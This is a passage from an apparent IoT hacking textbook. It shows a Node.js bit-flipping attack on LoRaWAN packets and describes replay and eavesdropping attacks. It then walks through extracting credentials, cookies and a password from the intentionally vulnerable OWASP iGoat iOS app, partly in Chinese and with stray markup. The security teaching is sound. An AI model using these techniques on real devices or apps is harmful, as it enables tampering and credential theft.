packet.getPHYPayload().toString('hex'); console.log("hex: " + packet_bytes); console.log("payload: " + lora_packet.decrypt(packet, AppSKey, null).toString()); var target = packet_bytes; 9 var index = 24; target = target.substr(0, index) + '1' + target.substr(index + 1); console.log("\nattacker modified packet"); a var changed_packet = lora_packet.fromWire(new Buffer(target, 'hex')); console.log("hex: " + changed_packet.getPHYPayload().toString('hex')); console.log("payload: " + lora_packet.decrypt(changed_packet, AppSKey, null).toString()); ``` Listing 13-4: Demonstration of a bit-flipping attack on a LoRaWAN payload using the library *lora-packet* We first write the `node` shebang 1 to indicate this code will be executed by the Node.js interpreter. We then import the `lora-packet` module 2 using the ``require directive and save it into the `lora_packet` object. The value of `AppSKey`3 doesn’t really matter for this exercise, but it has to be exactly 128 bits.`` ````We create a LoRa packet that will serve as the attacker’s target 4. The output of our script displays the packet fields, as well. The `MType` field 5 of the MHDR indicates that this is a data message coming from a node device without awaiting confirmation from the server. The four-byte `DevAddr`6 is part of the FHDR. The application layer `payload`7 is the value `RH:60`. RH stands for relative humidity, indicating this message is coming from an environmental sensor. This payload corresponds to the FRMPayload (shown in the output that follows), which we got by encrypting the original payload (`RH:60`) with the AppSKey. We then use the *lora-packet* library’s functions to print the packet fields in detail, its bytes in hexadecimal form, and the decrypted application payload 8. Next, we perform the bit-flipping attack 9. We copy the packet bytes into the `target` variable, which is also how a man-in-the-middle attacker would capture the packet. Then we have to choose the position inside the packet where we should make the alteration. We chose position 24, which corresponds to the value of the RH—the integer part of the payload, after `RH:` (which is the string part). The attacker will normally have to guess the location of the data they want to alter unless they know the payload’s format beforehand. We finally print the modified packet a, and as you can see in the following output, the decrypted payload now has the RH value of `0`. ``` root@kali:~/lora# ./dec.js original packet: Message Type = Data PHYPayload = 400403020120010001EC49353984325C0ECB ( PHYPayload = MHDR[1] | MACPayload[..] | MIC[4] ) MHDR = 40 MACPayload = 0403020120010001EC49353984 MIC = 325C0ECB ( MACPayload = FHDR | FPort | FRMPayload ) FHDR = 04030201200100 FPort = 01 FRMPayload = EC49353984 ( FHDR = DevAddr[4] | FCtrl[1] | FCnt[2] | FOpts[0..15] ) DevAddr = 01020304 (Big Endian) FCtrl = 20 FCnt = 0001 (Big Endian) FOpts = Message Type = Unconfirmed Data Up Direction = up FCnt = 1 FCtrl.ACK = true FCtrl.ADR = false hex: **40**0403020120010001**ec49353984**325c0ecb payload: RH:60 attacker modified packet hex: 400403020120010001ec4935**1**984325c0ecb payload: RH:0 ``` Highlighted first, in the initial `hex` line, is the MHDR (`40`), and the next highlighted part (`ec49353984`) is the payload. After that is the MIC (`325c0ecb`). In the second `hex` line, which shows the attacker’s modified packet in hex, we highlight the part of the payload that was altered. Notice how the MIC hasn’t changed, because the attacker doesn’t know the NwkSKey to recalculate it. ### Key Generation and Management Many attacks can reveal the three LoRaWAN cryptographic keys. One of the reasons for this is that nodes might reside in insecure or uncontrolled physical locations; for example, temperature sensors at a farm or humidity sensors in outdoor facilities. This means that an attacker can steal the node, extract the keys (either the AppKey from OTAA activated nodes or the hardcoded NwkSKey and AppSKey from ABP ones) and then intercept or spoof messages from any other node that might use the same keys. An attacker might also apply techniques like *side-channel analysis*, where the attacker detects variations in power consumption or electromagnetic emissions during the AES encryption to figure out the key’s value. The LoRaWAN specification explicitly states that each device should have a unique set of session keys. In OTAA nodes, this gets enforced because of the randomly generated AppNonce. But in ABP, node session key generation is left to developers, who might base it on static features of the nodes, like the DevAddr. This would allow attackers to predict the session keys if they reverse-engineered one node. ### Replay Attacks Normally, the proper use of the FCnt counters in the FHDR prevent replay attacks (discussed in Chapter 2). There are two frame counters: *FCntUp*, which is incremented every time a node transmits a message to the server, and *FCntDown*, which is incremented every time a server sends a message to a node. When a device joins a network, the frame counters are set to 0\. If a node or server receives a message with a FCnt that is less than the last recorded one, it ignores the message. These frame counters prevent replay attacks, because if an attacker captures and replays a message, the message would have a FCnt that is less than or equal to the last recorded message that was received and thus would be ignored. There are still two ways replay attacks could occur: * In OTAA and ABP activated nodes, each 16-bit frame counter will at some point reset to 0 when it reaches the highest possible value. If an attacker has captured messages in the last session (before the counter overflow), they can reuse any of the messages with larger counter values than the ones observed in the new session. * In ABP activated nodes, when the end device is reset, the frame counter also resets to 0\. This means that, again, the attacker can reuse a message from an earlier session with a higher counter value than the last message sent. In OTAA nodes, this isn’t possible, because whenever the device resets, it has to generate new session keys (the NwkSKey and AppSKey), invalidating any previously captured messages. A replay attack can have serious implications if an attacker can replay important messages, such as those that disable physical security systems (for example, burglar alarms). To prevent this scenario, you’d have to reissue new session keys whenever the frame counter overflows and use OTAA activation only. ### Eavesdropping Eavesdropping is the process of compromising the encryption method to decrypt all or part of the ciphertext. In some cases, it might be possible to decrypt the application payload by analyzing messages that have the same counter value. This can happen because of the use of AES in counter (CTR) mode and the frame counters being reset. After a counter reset, which occurs either as the result of integer overflow when the counter has reached the highest possible value or because the device reset (if it’s using ABP), the session keys will remain the same, so the key stream will be the same for the messages with the same counter value. Using a cryptanalysis method called crib dragging, it’s possible to then gradually guess parts of the plaintext. In *crib dragging*, an attacker drags a common set of characters across the ciphertext in the hope of revealing the original message. ### ACK Spoofing In the context of LoRaWAN, ACK spoofing is sending fake ACK messages to cause a denial-of-service attack. It’s possible because the ACK messages from the server to the nodes don’t indicate exactly which message they’re confirming. If a gateway has been compromised, it can capture the ACK messages from the server, selectively block some of them, and use the captured ACKs at a later stage to acknowledge newer messages from the node. The node has no way of knowing if an ACK is for the currently sent message or the messages before it. ### Application-Specific Attacks Application-specific attacks include any attacks that target the application server. The server should always sanitize incoming messages from nodes and consider all input as untrusted, because any node could be compromised. Servers might also be internet-facing, which increases the attack surface for more common attacks. ## Conclusion Although commonly used in smart cities, smart metering, logistics, and agriculture, LoRa, LoRaWAN, and other LPWAN technologies will unavoidably provide more attack vectors for compromising systems that rely on long-range communication. If you securely deploy your LoRa devices, configure them, and implement key management for nodes and servers, you can greatly limit this attack surface. You should handle all incoming data as untrusted, as well. Even as developers introduce improved specifications for these communication protocols, with enhancements that make their security stronger, new features can introduce vulnerabilities as well.```` ````` `````` ```````**
第五部分
目标定位物联网生态系统
第十四章:攻击移动应用

如今,你可以使用手机控制家里几乎所有的设备。想象一下,今天是你和伴侣的约会之夜。你准备了晚餐,将其放入烤箱,并通过手机设置了烹饪指令,手机还会定期监控其进展。接着,你通过手机调整通风、加热和制冷系统。你还用手机设置电视播放一些背景音乐。(你三年前丢了电视遥控器,至今没再找过。)你还用一个应用调节 IoT 智能灯光的亮度。一切都很完美。
但如果你家中的一切都由手机控制,那么任何一位攻破你手机的人也能控制你的家。在本章中,我们概述了 IoT 伴随移动应用中常见的威胁和漏洞。然后,我们分析了两个故意存在安全漏洞的应用:iOS 平台的 OWASP iGoat 应用和 Android 平台的 InsecureBankV2 应用。
因为我们已接近本书的尾声,所以我们快速浏览了这些应用中包含的众多漏洞,同时引用了许多工具和分析方法。我们鼓励你自行深入探索每一个工具和技术。
IoT 移动应用中的威胁
移动应用为 IoT 支持的世界带来了自身的威胁生态系统。在这一部分,我们将通过类似于第二章中的威胁建模方法,探讨移动应用带来的主要威胁,尤其是针对我们的 IoT 设备。
由于本章的主要目标并非设计威胁模型,我们不会对所识别的组件进行全面分析。相反,我们将审视与移动设备相关的一般威胁类别,并识别相关的漏洞。
将架构分解为组件
图 14-1 展示了 IoT 移动应用环境的基本组成部分。

图 14-1:分解 IoT 伴随移动应用环境
我们将移动应用与平台特定的生态系统和硬件相关功能分开。我们还考虑了从应用商店安装 IoT 伴随移动应用的过程,应用与 IoT 设备的通信、供应商的基础设施,以及任何潜在的第三方服务提供商。
识别威胁
现在,我们将识别移动应用环境中的两种威胁:一般影响移动设备的威胁和专门影响 Android 与 iOS 环境的威胁。
一般移动设备威胁
移动设备的主要特点是其便携性。您可以轻松携带手机到任何地方,因此它很容易丢失或被盗。即使人们偷窃手机是为了设备的价值,攻击者也可能从物联网伴侣应用的存储中获取敏感的个人数据。或者,他们可能尝试绕过应用中弱或损坏的身份验证控制,远程访问关联的物联网设备。若设备所有者仍然登录其物联网伴侣应用账户,这将大大简化攻击者的攻击过程。
此外,移动设备通常连接到不受信任的网络,例如咖啡馆和酒店房间中的随机 Wi-Fi 公共热点,这为各种网络攻击(如中间人攻击或网络嗅探)提供了机会。物联网伴侣应用通常设计为与供应商的基础设施、云服务和物联网设备进行网络连接。如果这些应用在不安全的网络中运行,攻击者可以窃取或篡改交换的数据。
该应用还可能作为物联网设备与供应商的 API、第三方提供商和云平台之间的桥梁。这些外部系统可能引入关于保护交换的敏感数据的新威胁。攻击者可以攻击和利用公开访问的服务或配置错误的基础设施组件,以获得远程访问并提取存储的数据。
安装应用的实际过程也可能容易受到攻击。并非所有物联网伴侣应用都来自官方的移动应用商店。许多移动设备允许您从第三方商店安装应用,或安装那些不一定由有效开发者证书签名的应用。攻击者利用这一问题分发包含恶意功能的假冒应用版本。
Android 和 iOS 威胁
现在让我们研究与 Android 和 iOS 平台相关的威胁。图 14-2 展示了这两个平台的生态系统。
这两个平台的软件包括三个层次:底层包含操作系统和与设备资源的接口;中间层由提供大部分 API 功能的库和应用框架组成;应用层则包含定制应用程序和一组系统应用程序。应用层负责让用户与移动设备进行交互。

图 14-2:Android 和 iOS 生态系统
两个平台都为开发人员和用户提供了灵活性。例如,用户可能希望安装定制软件,如由不受信任的程序员开发的游戏和扩展程序。攻击者可以欺骗用户安装伪装成合法应用程序的恶意软件,这些应用程序可能以恶意方式与 IoT 配套应用程序进行交互。此外,这些平台提供了丰富的开发环境,但不谨慎或未经过培训的开发人员有时会因为不恰当地使用继承的设备特定安全控制,甚至在某些情况下禁用它们,从而未能保护敏感数据。
某些平台,如 Android,面临另一种威胁:运行该平台的不同设备数量。许多这些设备使用过时版本的操作系统,这些版本包含已知的漏洞,从而引发了软件碎片化问题。开发人员几乎不可能跟踪并缓解所有这些问题,也很难识别它们。此外,攻击者可以通过利用特定设备的不一致性,识别、针对并滥用保护不力的 IoT 配套应用程序。例如,涉及安全控制的 API,如指纹认证,可能由于硬件差异而无法始终如预期般工作。多家厂商为 Android 提供设备硬件,其规格和安全基准标准各不相同。这些厂商还负责维护并部署其自定义的只读存储器(ROM),这加剧了碎片化问题。用户期望获得经过充分测试、强大且安全的软件,但开发人员却在一个不可预测的环境中建立在不太可靠的 API 上。
Android 和 iOS 安全控制
Android 和 iOS 平台包括多个集成到其架构关键组件中的安全控制。图 14-3 总结了这些控制措施。

图 14-3:移动平台架构中的集成安全控制
以下章节将详细介绍这些控制措施。
数据保护与加密文件系统
为了保护应用程序和用户数据,这些平台必须请求涉及用户数据的不同平台组件之间的交互的同意,涉及的各方包括:用户(通过提示和通知)、开发人员(通过使用特定的 API 调用)以及平台(通过提供某些功能并确保系统按预期行为运行)。
为了保护静态数据,Android 和 iOS 使用基于文件的加密(FBE)和全盘加密(FDE),而为了保护传输中的数据,这些平台可以加密所有传输。但这两种控制措施都由开发者通过使用提供的 API 中的适当参数来实现。在 Android 7.0 之前的版本不支持 FBE,而 4.4 之前的版本甚至不支持 FDE。在 iOS 平台上,即使设备正在改变状态(例如,设备启动或解锁,或者用户至少已通过身份验证一次),也可以实现文件加密。
应用沙箱、安全 IPC 和服务
Android 和 iOS 还会隔离平台组件。两个平台都使用 Unix 风格的权限,通过内核强制执行,以实现自主访问控制并形成应用沙箱。在 Android 上,每个应用作为其自己的用户运行,并拥有自己的 UID。系统进程和服务(包括电话、Wi-Fi 和蓝牙堆栈)也存在沙箱。Android 还具有强制访问控制,使用安全增强 Linux(SE-Linux)来规定每个进程或一组进程允许的操作。另一方面,所有 iOS 应用都作为相同的用户(名为“mobile”)运行,但每个应用都被隔离在一个类似于 Android 的沙箱中,只能访问其自己的文件系统部分。此外,iOS 内核禁止应用程序进行某些系统调用。两个平台都采用特定应用的权限风格方法,以允许安全的进程间通信和访问共享数据(Android 权限,iOS 权限)。这些权限在应用开发阶段声明,并在安装或执行时授予。两个平台还通过减少对驱动程序的访问或将驱动程序代码进行沙箱化,在内核层面实施类似的隔离。
应用签名
两个平台都使用应用签名来验证应用程序是否被篡改。经过批准的开发者必须在将应用提交到平台的官方应用商店之前生成这些签名,但签名验证算法的工作方式和验证时间存在差异。此外,Android 平台允许用户通过在应用设置中启用“未知来源”选项,安装任何开发者的应用。Android 设备厂商还会安装自己定制的应用商店,这些商店可能不一定遵守这一限制。相比之下,iOS 平台只允许你安装由授权组织的开发者创建的应用,使用企业证书,或者由设备拥有者创建的应用。
用户身份验证
两个平台都会对用户进行身份验证,通常基于知识因素(例如,通过请求 PIN 码、图案或用户定义的密码),使用生物识别技术(如指纹、虹膜扫描或面部识别),甚至使用行为学方法(比如在受信任的位置解锁设备或与受信任的设备配对)。身份验证控制通常涉及软件和硬件组件,尽管某些 Android 设备没有此类硬件组件。开发者可以通过 Android 平台框架提供的专用 API 调用来验证这些硬件的存在。在这两个平台上,开发者可以忽略平台提供的硬件支持的用户身份验证,或者在软件层面执行自定义的客户端身份验证控制,从而降低安全性表现。
隔离硬件组件和密钥管理
现代设备在硬件层面上隔离平台组件,以防止被破坏的内核完全控制硬件。它们通过使用隔离的硬件实现来保护某些与安全相关的功能,如密钥存储和操作。例如,它们可能会使用受信平台模块,这是一种专门用于执行固定加密操作的隔离硬件组件;受信执行环境,这是位于主处理器安全区域的可重编程组件;或单独的防篡改硬件,它与主处理器一起存在于离散的硬件中。为了支持金融交易,某些设备还具有一个安全元素,用于以 Java 小程序的形式执行代码,并且可以安全地托管机密数据。
一些设备厂商使用这些技术的定制实现。例如,最新的苹果设备使用安全加密区,这是一个独立的硬件组件,能够托管代码和数据并执行身份验证操作。最新的 Google 设备使用名为Titan M的防篡改硬件芯片,具备类似的功能。基于 ARM 的主芯片组支持名为TrustZone的受信执行环境,而基于 Intel 的主芯片组则支持名为SGX的环境。这些隔离硬件组件实现了平台的密钥存储功能。但开发者需要使用正确的 API 调用,才能安全地利用受信密钥存储。
已验证和安全启动
此外,这两个平台都使用在操作系统加载时经过验证的软件组件。安全启动验证设备的引导加载程序和某些隔离硬件实现的软件,启动硬件信任根。在基于 Android 的平台中,Android 验证启动负责验证软件组件,而在基于 iOS 的平台中,SecureRom则承担这一职责。
分析 iOS 应用
在本节中,我们将研究一个适用于 iOS 的开源移动应用:OWASP iGoat 项目(github.com/OWASP/igoat/)。尽管它不是一个物联网伴侣应用,但 iGoat 项目包含相同的业务逻辑,并使用许多物联网设备应用相似的功能。我们将专注于揭示可能存在于物联网伴侣应用中的漏洞。
iGoat 移动应用程序 (图 14-4) 包含一系列基于常见移动应用漏洞的挑战。用户可以导航到每个挑战并与故意设计为脆弱的组件进行交互,以提取隐藏的秘密标志或篡改应用程序的功能。

图 14-4:iGoat 移动应用中的类别
准备测试环境
要测试 iGoat,您需要一台 Apple 台式机或笔记本电脑,在 Xcode IDE 中设置 iOS 模拟器。您只能通过 Mac App Store 在 macOS 上安装 Xcode。您还应该使用 xcode-select 命令安装 Xcode 命令行工具:
$ **xcode-select --install**
现在,使用以下 xcrun 命令创建您的第一个模拟器,该命令允许您运行 Xcode 开发工具:
$ **xcrun simctl create simulator com.apple.CoreSimulator.SimDeviceType.iPhone-X com.apple.CoreSimulator.SimRuntime.iOS-12-2**
第一个参数 simctl 允许您与 iOS 模拟器进行交互。create 参数创建一个新模拟器,名称由紧随其后的参数指定。最后两个参数指定设备类型,在我们的例子中是 iPhone X,以及 iOS 运行时版本,具体是 iOS 12.2。您可以通过打开 Xcode、点击 Preferences 选项,然后在 Components 标签中选择一个可用的 iOS 模拟器来安装其他 iOS 运行时(图 14-5)。

图 14-5:安装 iOS 运行时
使用以下命令启动并打开您的第一个模拟器:
$ **xcrun simctl boot <simulator identifier>**
$ **/Applications/Xcode.app/Contents/Developer/Applications/Simulator.app/**
**Contents/MacOS/Simulator -CurrentDeviceUDID booted**
接下来,使用 git 命令从仓库下载源代码,导航到 iGoat 应用程序文件夹,并使用 xcodebuild 命令为模拟设备编译该应用程序。然后,将生成的二进制文件安装到已启动的模拟器中:
$ **git clone https://github.com/OWASP/igoat**
$ **cd** **igoat****/IGoat**
$ **xcodebuild -project iGoat.xcodeproj -scheme iGoat -destination "****id****=****<simulator identifier>****"**
$ **xcrun simctl install booted ~/Library/Developer/Xcode/DerivedData/**
**iGoat-<application identifier>/Build/Products/Debug-iphonesimulator/iGoat.app**
您可以通过检查 xcodebuild 命令的最后几行,或者导航到 ~/Library/Developer/Xcode/DerivedData/ 文件夹来找到应用程序标识符。
提取和重新签名 IPA
如果您已经拥有用于测试的 iOS 设备,并且安装了您想要检查的应用程序,那么您需要以不同的方式提取该应用程序。所有 iOS 应用都存在于一个称为 iOS 应用商店包(IPA) 的归档文件中。过去,早期版本的 iTunes(直到 12.7.x)允许用户提取通过 App Store 获取的应用的 IPA。此外,在 iOS 8.3 之前的版本中,您可以使用像 iFunBox 或 iMazing 工具等软件从本地文件系统提取 IPA。但是这些不是官方方法,可能不支持最新的 iOS 平台。
相反,可以使用越狱设备从文件系统中提取应用的文件夹,或者尝试在在线仓库中查找其他用户已经解密的应用。例如,要从越狱设备中提取 iGoat.app 文件夹,可以进入 Applications 文件夹并搜索包含该应用的子文件夹:
$ **cd /var/containers/Bundle/Application/**
如果你通过 App Store 安装了应用,主二进制文件将会被加密。要从设备内存中解密 IPA,可以使用一个公开可用的工具,比如 Clutch(github.com/KJCracks/Clutch/):
$ **clutch -d <bundle identifier>**
你可能也会有一个未为你的设备签名的 IPA,可能是软件供应商提供的,或者你已经通过之前提到的某种方式提取了这个 IPA。在这种情况下,安装到测试设备的最简单方法是使用像 Cydia Impactor(www.cydiaimpactor.com/)或 node-applesign(github.com/nowsecure/node-applesign/)这样的工具,使用个人的 Apple 开发者账号重新签名。这个方法通常用于安装像 unc0ver 这样的应用,它执行越狱功能。
静态分析
我们分析的第一步是检查创建的 IPA 档案文件。这个包实际上只是一个 ZIP 文件,因此可以通过以下命令解压缩它。
$ **unzip iGoat.ipa**
-- Payload/
---- iGoat.app/
------- 1Info.plist
------- 2iGoat
------- ...
解压后的文件夹中最重要的文件是 信息属性列表文件(名为 Info.plist1),这是一个结构化的文件,包含了应用的配置信息,还有一个与应用同名的可执行文件 2。你还会看到其他一些资源文件,它们存放在主应用的可执行文件外部。
打开信息属性列表文件。一个常见的可疑发现是注册的 URL Scheme 存在(图 14-6)。

图 14-6:信息属性列表文件中的注册 URL Scheme
URL scheme 主要允许用户从其他应用打开特定的应用界面。攻击者可能试图利用这些漏洞,通过让设备在加载该界面时在脆弱的应用中执行不需要的操作。我们稍后会在动态分析阶段测试这些 URL Scheme 是否存在此类漏洞。
检查属性列表文件中的敏感数据
接下来,我们来看其余的属性列表文件(以 .plist 扩展名结尾的文件),这些文件存储序列化的对象,通常包含用户设置或其他敏感数据。例如,在 iGoat 应用中,Credentials.plist 文件包含与身份验证控制相关的敏感数据。你可以使用 Plutil 工具读取这个文件,它会将 .plist 文件转换为 XML 格式:
``` $ **plutil -convert xml1 -o -** **Credentials.plist** <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <string>Secret@123</string> <string>admin</string> </plist> ``` You can use the identified credentials to authenticate in the Data Protection (Rest) category’s Plist Storage challenge in the app functionalities. #### Inspecting the Executable Binary for Memory Protections Now we’ll inspect the executable binary and check whether it’s been compiled with the necessary memory protections. To do this, run the object file displaying tool (Otool), which is part of Xcode’s CLI developer tools package: ``` $ **otool -l iGoat | grep -A 4 LC_ENCRYPTION_INFO** cmd LC_ENCRYPTION_INFO cmdsize 20 cryptoff 16384 cryptsize 3194880 1 cryptid 0 $ **otool -hv iGoat** magic cputype cpusubtype caps filetype ncmds sizeofcmds flags MH_MAGIC ARM V7 0x00 EXECUTE 35 4048 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK 2 PIE ``` First, we examine whether the binary has been encrypted in the App Store by investigating `cryptid` 1. If this flag is set to `1`, the binary is encrypted and you should attempt to decrypt it from the device memory using the approach described earlier in “Extracting and Re-Signing an IPA” on page 343\. We also check whether address space layout randomization is enabled by checking whether the PIE flag 2 exists in the binary’s header. *Address space layout randomization* is a technique that randomly arranges the memory address space positions of a process to prevent the exploitation of memory corruption vulnerabilities. Using the same tool, check whether *stack-smashing protection* is enabled. Stack-smashing protection is a technique that detects memory corruption vulnerabilities by aborting a process’s execution if a secret value in the memory stack changes. ``` $ **otool -I -v iGoat | grep stack** 0x002b75c8 478 ___stack_chk_fail 0x00314030 479 ___stack_chk_guard1 0x00314bf4 478 ___stack_chk_fail ``` The `__stack_chk_guard`1 flag indicates that stack-smashing protection is enabled. Finally, check whether the app is using *Automatic Reference Counting (ARC)*, a feature that replaces traditional memory management by checking for symbols, such as `_objc_autorelease`, `_objc_storeStrong`, and `_objc_retain`: ``` $ **otool -I -v iGoat | grep _objc_autorelease** 0x002b7f18 715 _objc_autorelease\ ``` The ARC mitigates memory-leak vulnerabilities, which occur when developers fail to free unnecessary allocated blocks and can lead to memory exhaustion issues. It automatically counts the references to the allocated memory blocks and marks blocks with no remaining references for deallocation. #### Automating Static Analysis You can also automate your static analysis of the application source code (if it’s available) and the generated binary. Automated static analyzers examine several possible code paths and report potential bugs that could be almost impossible to identify using manual inspection. For example, you could use astatic analyzer like `llvm clang` to audit the app’s source code at compile time. This analyzer identifies a number of bug groups, including logic flaws (such as dereferencing null pointers, returning an address to stack-allocated memory, or using undefined results of business logic operations); memory management flaws (such as leaking objects and allocated memory and allocation overflows); dead store flaws (such as unused assignments and initializations); and API usage flaws originating from the incorrect use of the provided frameworks. It’s currently integrated in Xcode, and you can use it by adding the `analyze` parameter in the build command: ``` $ **xcodebuild analyze -project iGoat.xcodeproj -scheme iGoat -destination "name=iPhone X"** ``` The analyzer bugs will appear in build log. You could use many other tools to automatically scan the application binary, such as the Mobile Security Framework (MobSF) tool ([`github.com/MobSF/Mobile-Security-Framework-MobSF/`](https://github.com/MobSF/Mobile-Security-Framework-MobSF/)). ### Dynamic Analysis In this section, we’ll execute the app in the simulated iOS device, test the device’s functionalities by submitting user input, and examine the app’s behavior within the device ecosystem. The easiest approach to this task is to manually examine how the app affects major device components, such as the filesystem and the keychain. This dynamic analysis can reveal insecure data storage and improper platform API usage issues. #### Examining the iOS File Structure and Its Databases Let’s navigate to the application folder in the simulated device to examine the file structure that iOS apps use. In iOS platforms, apps can only interact with directories inside the app’s sandbox directory. The sandbox directory contains the *Bundle container*, which is write-protected and contains the actual executable, and the *Data container*, which contains a number of subdirectories (such as *Documents*, *Library*, *SystemData*, and *tmp*) that the app uses to sort its data. To access the simulated device filesystem, which serves as the root directory for the following sections of the chapter, enter the following command: ``` $ **cd ~/Library/Developer/CoreSimulator/Devices/<simulator identifier>/** ``` Next, navigate to the *Documents* folder, which will initially be empty. To locate the application identifier, you can search for the iGoat app using the `find` command: ``` $ **find . -name** *******iGoat******* ./data/Containers/Data/Application/<application id>/Library/Preferences/com.swaroop.iGoat.plist $ **cd data/Containers/Data/Application/<application id>/Documents** ``` The initially empty folder will be populated with files created dynamically by the application’s different functionalities. For example, by navigating to the Data Protection (Rest) category in the app functionalities, selecting the Core Data Storage challenge, and pressing the Start button, you’ll generate a number of files with the prefix [CoreData](http://CoreData). The challenge requires you to inspect those files and recover a pair of stored credentials. You can also monitor the dynamically created files using the `fswatch` application, which you can install through one of the available third-party package managers in macOS, such as Homebrew ([`brew.sh/`](https://brew.sh/)) or MacPorts ([`www.macports.org/`](https://www.macports.org/)). ``` $ **brew install fswatch** $ **fswatch -r ./** /Users/<username>/Library/Developer/CoreSimulator/Devices/<simulator identifier>/data/Containers/Data/Application/<application id> /Documents/CoreData.sqlite ``` Perform the installation by specifying the Homebrew package manager’s `brew` binary followed by the `install` parameter and the name of the requested package. Next, use the `fswatch` binary followed by the `-r` parameter to recursively monitor the subfolders and the target folder, which in our case is the current directory. The output will contain the full path of any created file. We’ve already mentioned how to examine the contents of *.plist* files, so we’ll now focus on these *CoreData* files. Among other tasks, the *CoreData framework* abstracts the process of mapping objects to a store, making it easy for developers to save data on the device filesystem in a `sqlite` database format without having to manage the database directly. Using the `sqlite3` client, you can load the database, view the database tables, and read the contents of the `ZUSER` table, which contains sensitive data, such as user credentials: ``` $ **sqlite3 CoreData.sqlite** sqlite> **.tables** ZTEST ZUSER Z_METADATA Z_MODELCACHE Z_PRIMARYKEY sqlite> select * from ZUSER ; 1|2|1|john@test.com|coredbpassword ``` You can use the identified credentials later to authenticate in the “Core Data Storage” challenge’s login form. Once you do so, you should receive a success message indicating the completion of the challenge. A similar vulnerability existed in the SIMATIC WinCC OA Operator application for the iOS platform, which allowed users to control a Siemens SIMATIC WinCC OA facility (such as water supply facilities and power plants) easily via a mobile device. Attackers with physical access to the mobile device were able to read unencrypted data from the app’s directory ([`www.cvedetails.com/cve/CVE-2018-4847/`](https://www.cvedetails.com/cve/CVE-2018-4847/)). #### Running a Debugger It’s also possible to examine an application using a debugger. This technique would reveal the application’s inner workings, including the decryption of passwords or the generation of secrets. By examining these processes, we can usually intercept sensitive information compiled into the application binary and presented at runtime. Locate the process identifier and attach a debugger, such as `gdb` or `lldb`. We’ll use `lldb` from the command line. It’s the default debugger in Xcode, and you can use it to debug C, Objective-C, and C++ programs. Enter the following to locate the process identifier and attach the `lldb`debugger. ``` $ **ps -A | grep iGoat.app** 59843 ?? 0:03.25 /..../iGoat.app/iGoat $ **lldb** (lldb) **process attach --pid 59843** Executable module set to "/Users/.../iGoat.app/iGoat". Architecture set to: x86_64h-apple-ios-. (lldb) **process continue** Process 59843 resuming ``` When you attach the debugger, the process pauses, so you’ll have to continue the execution by using the `process continue` command. Watch the output as you do so to locate interesting functions that perform security related operations. For example, the following function calculates the password you can use to authenticate in the Runtime Analysis category’s Private Photo Storage challenge in the app’s functionalities: ``` - 1 (NSString *)thePw { char xored[] = {0x5e, 0x42, 0x56, 0x5a, 0x46, 0x53, 0x44, 0x59, 0x54, 0x55}; char key[] = "1234567890"; char pw[20] = {0}; for (int i = 0; i < sizeof(xored); i++) { pw[i] = xored[i] ^ key[i%sizeof(key)]; } return [NSString stringWithUTF8String:pw]; } ``` To understand what the function does, check the iGoat app’s source code, which you downloaded earlier using the `git` command. More precisely, look at the `thePw`1 function in the *iGoat/Personal Photo Storage/PersonalPhotoStorageVC.m* class. It’s now possible to intentionally interrupt the software execution to this function using a breakpoint to read the calculated password from the app’s memory. To set a breakpoint, use the `b` command followed by the function name: ``` (lldb) **b thePw** Breakpoint 1: where = iGoat`-[PersonalPhotoStorageVC thePw] + 39 at PersonalPhotoStorageVC.m:60:10, address = 0x0000000109a791cs7 (lldb) Process 59843 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 ... 59 - (NSString *)thePw{ -> 60 char xored[] = {0x5e, 0x42, 0x56, 0x5a, 0x46, 0x53, 0x44, 0x59, 0x54, 0x55}; 61 char key[] = "1234567890"; 62 char pw[20] = {0}; ``` After navigating to the corresponding functionality in the simulated app, the app should freeze and a message pointing to the execution step with an arrow should appear in the `lldb` window. Now move to the following execution steps using the `step` command. Continue doing so until you reach the end of the function where the secret password gets decrypted: ``` (lldb) **step** frame #0: 0x0000000109a7926e iGoat`-PersonalPhotoStorageVC thePw at PersonalPhotoStorageVC.m:68:12 65 pw[i] = xored[i] ^ key[i%sizeof(key)]; 66 } -> 68 return [NSString stringWithUTF8String:pw]; 69 } 71 @e 1 (lldb) **print pw** 2 (char [20]) $0 = "**opensesame**" ``` Using the `print`1 command, you can retrieve the decrypted password 2. Learn more about the `lldb` debugger in *iOS Application Security* by David Thiel ([`nostarch.com/iossecurity/`](https://nostarch.com/iossecurity/)). #### Reading Stored Cookies Another not so obvious location in which mobile apps usually store sensitive information is the *Cookies* folder in the filesystem, which contains the HTTP cookies websites use to remember user information. IoT companion apps navigate to and render websites in WebView to present web content to end users. (A discussion of WebView is outside the scope of this chapter, but you can read more about it at the iOS and Android developer pages. We’ll also use WebView in an attack against a home treadmill in Chapter 15.) But many of these sites require user authentication to present personalized content, and as a result, they use HTTP cookies to track the active users’ HTTP sessions. We can search these cookies for authenticated user sessions that could allow us to impersonate the user on these websites and retrieve the personalized content. The iOS platform stores these cookies in a binary format, often for long periods of time. We can use the BinaryCookieReader ([`github.com/as0ler/BinaryCookieReader/`](https://github.com/as0ler/BinaryCookieReader/)) tool to decode them in a readable form. To run it, navigate to the [Cookies](http://Cookies) folder, and then run this Binary Cookie Reader Python script: ``` $ **cd data/Containers/Data/Application/<application-id>/Library/Cookies/** $ **python BinaryCookieReader/BinaryCookieReader.py** com.swaroop.iGoat.binarycookies ... Cookie : 1 sessionKey=dfr3kjsdf5jkjk420544kjkll; domain=www.github.com; path=/OWASP/iGoat; expires=Tue, 09 May 2051; ``` The tool returns cookies that contain session keys for a website 1. You could use that data to authenticate in the Data Protection (Rest) category’s Cookie Storage challenge in the app functionalities. You might also find sensitive data in the HTTP caches, which websites use to improve performance by reusing previously fetched resources. The app stores these resources in its */Library/Caches/* folder in a SQLite database named *Cache.db.* For example, you can solve the Data Protection (Rest) category’s Webkit Cache challenge in the app functionalities by retrieving the cached data from this file. Load the database and then retrieve the contents of the `cfurl_cache_receiver_data` table, which contains the cached HTTP responses: ``` $ **cd data/Containers/Data/Application/<application-id>/Library/Caches/com.swaroop.iGoat/** $ **sqlite3 Cache.db** sqlite> **select * from cfurl_cache_receiver_data;** 1|0|<table border='1'><tr><td>key</td><td>**66435@J0hn**</td></tr></table> ``` A similar vulnerability affects the popular Hickory Smart app for iOS versions 01.01.07 and earlier; the app controls smart deadbolts. The app’s database was found to contain information that could allow attackers to remotely unlock doors and break into homes 